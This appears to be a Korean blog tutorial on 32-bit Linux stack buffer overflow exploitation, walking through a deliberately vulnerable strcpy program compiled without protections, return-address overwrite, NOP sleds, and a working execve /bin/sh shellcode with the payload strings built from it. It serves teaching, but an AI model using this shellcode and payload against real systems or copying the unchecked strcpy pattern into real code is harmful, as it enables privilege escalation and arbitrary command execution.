스택 버퍼 오버플로우 취약점이 있을 때 스택의 리턴 주소를 덮어서 실행 흐름을 조작한다. 리턴 주소는 현재 함수가 종료된 후 이전 함수로 되돌아가기 위한 주소로 스택에 저장된 리턴 주소를 바꾸면 프로그램 실행 흐름을 공격자가 원하는대로 조작할 수 있다.

 

// gcc -o example1 example1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -m32
#include <stdio.h>
int vuln(char *src) {
  
  char buf[32] = {};
  
  strcpy(buf, src);
  return 0;
}
int main(int argc, char *argv[], char *environ[]) {
  if (argc < 2){
    exit(-1);
  }
  vuln(argv[1]);
  return 0;
}
//example1.c

예제1을 보면 vuln 함수에서 strcpy 함수를 사용하고 있다. strcpy 함수는 복사할 문자열의 길이를 지정해주지 않고 있기 때문에 버퍼 오버플로우가 발생할 수 있다. 이 경우 버퍼 오버플로우를 이용해서 리턴 주소를 변경할 수 있다.

 

다음은 위 예제의 리턴 주소를 0x6a6a6a6a로 변경하는 실습이다. (16진수로 6a는 알파벳  j)

 

BOF test

 

 

- RET Overwrite

x86 아키텍처의 ret 명령어는 esp 레지스터가 가리키고 있는 주소에 저장된 값으로 점프하는 명령어이다. 위의 실습에서 vuln 함수의 리턴 주소를 0x6a6a6a6a로 바꿨기 때문에 ret 명령어가 실행되면 eip 레지스터 값이 0x6a6a6a6a로 변경된다.

 

Linux Exploitation은 로컬 환경의 타겟을 대상으로 하기 때문에 위의 방법처럼 eip 레지스터 값을 조작하여 /bin/sh 혹은 셸 바이너리를 실행하는 것이 목표다. 셸을 실행하는 이유는 권한 상승이나 본래의 프로그램을 의도치 않게 동작하기 만들기 위해서다. 셸 프로그램을 실행하면 해당 바이너리 권한의 셸을 획득하여 서버에 임의의 명령어를 실행할 수 있게 된다.

 

 

- 셸코드

리눅스에서는 바이너리를 실행시키기 위해서 execve 시스템 콜을 사용한다. execve 시스템 콜의 인자는 pathname(실행시킬 바이너리 경로), 프로그램의 인자 포인터 배열, 프로그램의 환경변수 포인터 배열을 요구한다. 여기서는 단순히 /bash/sh 바이너리를 실행시키면 되기 때문에 sys_execve("/bin/sh" 주소, NULL, NULL) 이런 형태의 execve 시스템 콜을 호출하면 된다.

 

sys_execve("/bin/sh" 주소, NULL, NULL)을 호출하는 기계어 코드는 x86 리눅스 아키텍처의 어느 바이너리에서 실행시켜도 항상 /bin/sh 바이너리를 실행하는데 이를 셸코드라고 부른다. 셸코드는 다음과 같다. \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80

 

셸코드를 프로그램 인자로 전달하면 스택 영역에 저장된다. 여기서 리턴 주소를 셸코드의 주소로 바꾸면 셸코드가 실행될 것이다.

일단 셸코드가 저장되는 위치를 확인해야 한다. strcpy 함수를 호출하는 주소에 브레이크포인트를 지정하고 argv[1]에 임의의 문자열을 입력하여 디버깅한다. 그 후 스택 메모리를 확인해보면 buf의 메모리 주소를 알아낼 수 있다.

실행결과 셸코드는 0xffffd4fc에 저장된다는 것을 알아냈다. 따라서 공격코드는 다음과 같이 만들 수 있다. (셸코드는 23바이트) "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80" + "\x90"*13 + "\xfc\xd4\xff\xff"

공격 코드를 실행해보면 위와 같이 셸이 성공적으로 실행되는 것을 확인할 수 있다. 그러나 이 공격코드를 gdb가 아닌 셸 환경에서 실행하면 프로그램이 비정상적으로 종료된다. 그 이유는 셸코드의 주소가 바꼈기 때문이다. 프로그램을 다른 환경에서 실행시킬 때 지역 변수의 주소는 스택 끝에 존재하는 프로그램의 인자와 환경변수에 따라 변한다. 또한 gdb와 셸에서 실행했을 때의 실행파일 경로가 각각 절대 경로와 상대 경로로 다르다. 이렇게 약간의 오차가 생겨도 익스플로잇이 성공할 수 있도록 도와주는 것이 바로 NOP이다.

 

 

- NOP Sled

NOP는 No OPeration의 약자로 프로그램의 실행에 영향을 주지 않는 명령어다. 때문에 프로그램이 NOP를 만나면 다음 명령어로 넘어가는 듯한 효과를 준다. 주로 셸코드의 정확한 주소를 모를 때 큰 메모리를 확보하여 셸코드 주소의 오차 범위를 크게 만들 때 사용한다. (x86 아키텍처의 NOP 명령어 바이트코드는 0x90)

 

다음은 리턴 주소에 덮어쓸 새로운 주소를 구하는 과정이다.

예제1에서 strcpy 함수부분에 브레이크포인트를 설정한 후 100,000 바이트의 NOP가 포함된 공격코드를 인자로 전달하고 argv[1]의 주소를 알아낸다. 그 다음 NOP Sled의 중간 지점 주소(argv1 + 5000)를 알아낸다.

NOP Sled의 중간 지점 주소를 이용한 새로운 공격 코드는 다음과 같다.

"A" *36 +0xffff13f9 +"\x90" *100000 + shellcode

새롭게 만든 코드로 다시 익스플로잇을 시도하면 성공적으로 셸이 실행된다.

 

 

다음은 NOP Sled를 이용한 실습이다.

#include <stdio.h>
#include <stdlib.h>
#define RET_OFFSET 64+24+4
int main(void){
    
    char nop_sled[64] = {};
    char shellcode[24] = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80";
    
    memset(nop_sled, 0x90, 64);
    read(0, nop_sled+RET_OFFSET, 4);
    return 0;
    
}

쉘코드 앞에 NOP 64개가 위치하고 있기 때문에 리턴 주소에 NOP가 들어있는 주소중 아무거나 입력하면 셸코드를 실행시킬 수 있다.

 

 

 

 

복사했습니다!